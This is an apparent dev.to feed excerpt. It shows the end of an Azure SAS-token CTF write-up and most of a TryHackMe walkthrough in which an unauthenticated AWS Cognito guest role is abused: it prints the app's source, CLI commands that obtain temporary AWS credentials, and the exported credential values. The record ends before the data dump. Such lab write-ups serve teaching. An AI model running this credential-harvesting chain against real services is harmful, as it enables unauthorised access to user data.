&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Never hard‑code SAS tokens in client‑side code.&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The SAS token here was meant only for the backup function, but it was exposed to every visitor. With read/list permissions, an attacker can enumerate and download any file in the storage account.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Avoid using long‑lived SAS tokens.&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
This token was valid until 2099 – a massive window. Always set short expiry times and use stored access policies.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Secure your Key Vault secrets with proper RBAC.&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The service principal had read access to most secrets but not all – yet it was enough. The “freshly rotated” secret still had its older version left intact, which defeated the rotation.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Secret versioning is both a blessing and a curse.&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
Version history is useful for recovery, but it can also leak sensitive data if not managed carefully. When rotating, consider purging older versions if they are no longer needed.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;The “vault” container was a second storage container – a hidden backup of credentials.&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
This is a classic case of “security through obscurity” – it didn’t hide anything because the SAS token gave access to all containers.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  🎯 Conclusion
&lt;/h2&gt;

&lt;p&gt;This challenge beautifully demonstrates how a single exposed SAS token can lead to full compromise of an Azure environment, including Key Vault secrets. By following the trust chain – from website → storage → service principal → Key Vault → secret versions – we extracted the flag split across multiple shards.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Final Flag:&lt;/strong&gt; &lt;code&gt;THM{n0t_ur_k3ys_***_**_******}&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;em&gt;Happy hacking, and remember: always check the source code!&lt;/em&gt; 🏖️🔐&lt;/p&gt;

</description>
      <category>azure</category>
      <category>cloud</category>
      <category>storage</category>
      <category>cryptocurrency</category>
    </item>
    <item>
      <title>TryHackMe Complimentary Write-Up: Exploiting an Over-Permissive AWS Guest Role</title>
      <dc:creator>Md. Ibrahim Reza Rabbi</dc:creator>
      <pubDate>Mon, 03 Aug 2026 10:59:25 +0000</pubDate>
      <link>https://dev.to/ibrahim71reza/tryhackme-complimentary-write-up-exploiting-an-over-permissive-aws-guest-role-734</link>
      <guid>https://dev.to/ibrahim71reza/tryhackme-complimentary-write-up-exploiting-an-over-permissive-aws-guest-role-734</guid>
      <description>&lt;h1&gt;
  
  
  Byte Lotus Wellness - A Deep Dive into Misconfigured AWS Permissions
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TryHackMe Challenge Write-Up&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;em&gt;Learn how an unauthenticated guest role in AWS can expose sensitive data - step by step.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  📖 Introduction
&lt;/h2&gt;

&lt;p&gt;The challenge presents a wellness app that promises &lt;strong&gt;"complimentary access"&lt;/strong&gt; without any login or sign-up. Upon opening the web page, the app magically "knows" you and displays your wellness profile. But how? And what else can you access?&lt;/p&gt;

&lt;p&gt;The goal: &lt;strong&gt;find out how the app knows anything about you, and see what else it's willing to hand over.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Spoiler: It's all about &lt;strong&gt;Cognito Identity Pools&lt;/strong&gt; and &lt;strong&gt;over-permissive IAM roles&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  🕵️ Reconnaissance
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1 - Website &amp;amp; S3 Bucket
&lt;/h3&gt;

&lt;p&gt;The app is hosted on an S3 bucket as a static website:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;First, we try to list the bucket directly (maybe the flag is stored as a file):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws s3 &lt;span class="nb"&gt;ls &lt;/span&gt;s3://complimentary-wellness-app-332173347248/ &lt;span class="nt"&gt;--no-sign-request&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Response:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;aws: [ERROR]: An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the bucket is not publicly listable - we need to look elsewhere.&lt;/p&gt;




&lt;h3&gt;
  
  
  Step 2 - Inspecting the Frontend
&lt;/h3&gt;

&lt;p&gt;We download the main page and look for JavaScript files that might contain logic or AWS configuration.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/ &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; index.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Examining &lt;code&gt;index.html&lt;/code&gt; reveals a &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag loading &lt;code&gt;app.js&lt;/code&gt;. We fetch it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://complimentary-wellness-app-332173347248.s3-website-us-east-1.amazonaws.com/app.js
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The source code is &lt;strong&gt;very revealing&lt;/strong&gt; - it contains hardcoded AWS configuration.&lt;/p&gt;




&lt;h2&gt;
  
  
  📄 Static Analysis - &lt;code&gt;app.js&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Here is the full &lt;code&gt;app.js&lt;/code&gt; (with comments preserved):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Byte Lotus Wellness - guest dashboard&lt;/span&gt;
&lt;span class="c1"&gt;//&lt;/span&gt;
&lt;span class="c1"&gt;// No login screen on purpose: every visitor gets "free" AWS guest&lt;/span&gt;
&lt;span class="c1"&gt;// credentials from our Cognito Identity Pool so we can save wellness&lt;/span&gt;
&lt;span class="c1"&gt;// preferences without the friction of an account.&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;IDENTITY_POOL_ID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;us-east-1:836c0949-292d-485b-b532-52d5ca7bb688&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;AWS_REGION&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;us-east-1&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;TABLE_NAME&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;complimentary-GuestWellnessProfiles&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;AWS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;region&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;AWS_REGION&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="nx"&gt;AWS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;credentials&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;AWS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;CognitoIdentityCredentials&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;IdentityPoolId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;IDENTITY_POOL_ID&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;guestId&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;byteLotusGuestId&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// First visit: hand out a throwaway guest id, same as checking in.&lt;/span&gt;
    &lt;span class="nx"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;guest-&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;Math&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;random&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;36&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nx"&gt;localStorage&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;byteLotusGuestId&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;renderDashboard&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;el&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;dashboard&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Welcome! We don't have wellness data for you yet - check back after your first spa visit.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;textContent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Name: &lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;name&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;S&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;-&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Loyalty notes: &lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;notes&lt;/span&gt; &lt;span class="p"&gt;?&lt;/span&gt; &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;notes&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;S&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;-&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="nx"&gt;AWS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Could not fetch guest credentials:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;dynamodb&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;AWS&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;DynamoDB&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;region&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;AWS_REGION&lt;/span&gt; &lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="nx"&gt;dynamodb&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getItem&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="na"&gt;TableName&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;TABLE_NAME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
      &lt;span class="na"&gt;Key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;guest_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="na"&gt;S&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;guestId&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="p"&gt;},&lt;/span&gt;
    &lt;span class="nf"&gt;function &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Could not load dashboard:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;err&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
      &lt;span class="p"&gt;}&lt;/span&gt;

      &lt;span class="nf"&gt;renderDashboard&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;Item&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  🔍 What we learn
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;The app uses &lt;strong&gt;Amazon Cognito Identity Pools&lt;/strong&gt; (Federated Identities) to obtain &lt;strong&gt;temporary AWS credentials&lt;/strong&gt; for every visitor.&lt;/li&gt;
&lt;li&gt;The credentials are fetched without any authentication - &lt;strong&gt;unauthenticated guest access&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The Identity Pool ID, region, and DynamoDB table name are hardcoded in the client-side code.&lt;/li&gt;
&lt;li&gt;The app generates a random &lt;code&gt;guest-xxxxxxxx&lt;/code&gt; ID and stores it in &lt;code&gt;localStorage&lt;/code&gt; to identify the user.&lt;/li&gt;
&lt;li&gt;It then queries DynamoDB with &lt;code&gt;dynamodb.getItem()&lt;/code&gt; using that guest ID and displays the name and notes.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The crucial point: &lt;strong&gt;the IAM role attached to the guest identity pool likely has overly broad permissions&lt;/strong&gt; - possibly allowing &lt;code&gt;Scan&lt;/code&gt; on the entire table.&lt;/p&gt;




&lt;h2&gt;
  
  
  💥 Exploitation - Retrieving All Data
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1 - Get a Cognito Identity ID
&lt;/h3&gt;

&lt;p&gt;Using the Identity Pool ID from &lt;code&gt;app.js&lt;/code&gt;, we call the AWS CLI to obtain an identity ID (this is an unauthenticated call - no credentials needed).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws cognito-identity get-id &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--identity-pool-id&lt;/span&gt; &lt;span class="s2"&gt;"us-east-1:836c0949-292d-485b-b532-52d5ca7bb688"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--no-sign-request&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Response:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"IdentityId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"us-east-1:4d571309-b069-c330-4112-2db03548a68a"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  Step 2 - Get Temporary AWS Credentials
&lt;/h3&gt;

&lt;p&gt;Now we use that identity ID to obtain temporary credentials (Access Key, Secret Key, Session Token). Again, no prior authentication is required.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;aws cognito-identity get-credentials-for-identity &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--identity-id&lt;/span&gt; &lt;span class="s2"&gt;"us-east-1:4d571309-b069-c330-4112-2db03548a68a"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--region&lt;/span&gt; us-east-1 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--no-sign-request&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Response (trimmed for readability):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"IdentityId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"us-east-1:4d571309-b069-c330-4112-2db03548a68a"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Credentials"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"AccessKeyId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"ASIAU2VYTBGYOA6TL5AK"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"SecretKey"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Xex9BTBIuqWV0SqjgIuP1dICFaWj/FiTFk/9+iZq"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"SessionToken"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"IQoJb3JpZ2luX2Vj…"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"Expiration"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"2026-08-03T07:32:25-04:00"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; These credentials are temporary and will expire - but they give us enough time to query DynamoDB.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h3&gt;
  
  
  Step 3 - Use the Credentials to Access DynamoDB
&lt;/h3&gt;

&lt;p&gt;We set the credentials as environment variables so the AWS CLI uses them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_ACCESS_KEY_ID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"ASIAU2VYTBGYOA6TL5AK"&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_SECRET_ACCESS_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Xex9BTBIuqWV0SqjgIuP1dICFaWj/FiTFk/9+iZq"&lt;/span&gt;
&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;AWS_SESSION_TOKEN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"IQoJb3JpZ2luX2Vj…"&lt;/span&gt;
